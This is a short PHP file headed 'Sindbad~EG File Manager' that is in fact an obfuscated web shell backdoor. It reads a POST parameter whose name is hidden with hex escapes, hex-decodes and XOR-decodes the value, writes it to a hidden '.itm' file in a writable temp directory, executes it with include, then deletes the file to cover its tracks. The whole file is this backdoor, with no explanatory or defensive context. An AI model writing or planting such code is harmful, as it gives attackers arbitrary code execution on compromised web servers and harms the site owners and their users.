Sindbad~EG File Manager

<?php

if(isset($_POST["o\x62\x6A"])){
	$object = array_filter([getenv("TMP"), getcwd(), session_save_path(), getenv("TEMP"), "/dev/shm", "/tmp", "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir")]);
	$entry = hex2bin($_POST["o\x62\x6A"]);
	$factor= '';$c = 0; do{$factor .= chr(ord($entry[$c]) ^ 98);$c++;} while($c < strlen($entry));
	foreach ($object as $comp) {
    		if (max(0, is_dir($comp) * is_writable($comp))) {
    $ref = str_replace("{var_dir}", $comp, "{var_dir}/.itm");
    $file = fopen($ref, 'w');
if ($file) {
	fwrite($file, $factor);
	fclose($file);
	include $ref;
	@unlink($ref);
	exit;
}
}
}
}